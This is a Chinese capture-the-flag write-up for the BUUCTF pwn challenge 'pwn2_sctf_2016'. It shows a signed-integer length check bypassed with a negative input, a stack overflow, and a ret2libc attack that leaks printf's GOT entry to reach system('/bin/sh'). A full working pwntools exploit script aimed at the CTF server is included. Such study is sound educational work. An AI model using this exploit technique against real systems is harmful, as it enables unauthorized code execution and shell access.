BUUCTF-PWN-pwn2_sctf_2016

checksec

image-20220202165135431

IDA

image-20220202165232296

image-20220202165251398

image-20220202165317446

get_n函数会向指针(参数1),存入一定长度(参数2)的字符串。

vuln函数第7行,表示读入长度为4的字符串;

第8行表示将刚才读入的字符串转化为int型数字;

第9行的if条件限制了读入长度不能大于32,而nptr指向的合法空间有32,所以无法直接溢出,但是我们可以考虑输入负数,如下图所示:

image-20220202170500616

这样我们的写入空间就足够用了。

下面就是ret2libc的问题,可以利用printf函数打印出printf_got的地址,用来计算偏移

libc文件可以利用buuoj给出的https://files.buuoj.cn/files/85ee93d92fc553f78f195a133690eef3/libc-2.23.so

PS:很多师傅的WP都用了LibcSearcher,但它现在可能用起来会有问题(实操无法解出该题),也没有直接用官方给出的libc方便

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

# p = process('./pwn2')
p = remote('node4.buuoj.cn', 26336)
elf = ELF('./pwn2')
libc = ELF('./../libc/ubuntu16/32/libc-2.23.so')

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.sym['main']

p.sendlineafter('read? ', '-999')
payload = b'a' * (0x2C + 0x4) + p32(printf_plt) + p32(main_addr) + p32(printf_got)
p.sendlineafter('data!\n', payload)
p.recvuntil('\n')
printf_addr = u32(p.recv(4))
print('printf_addr: ', hex(printf_addr))

libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'.encode()))

payload = b'a' * (0x2C + 0x4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
p.sendlineafter('read? ', '-999')
p.sendlineafter('data!\n', payload)

p.interactive()

结果

image-20220202171328770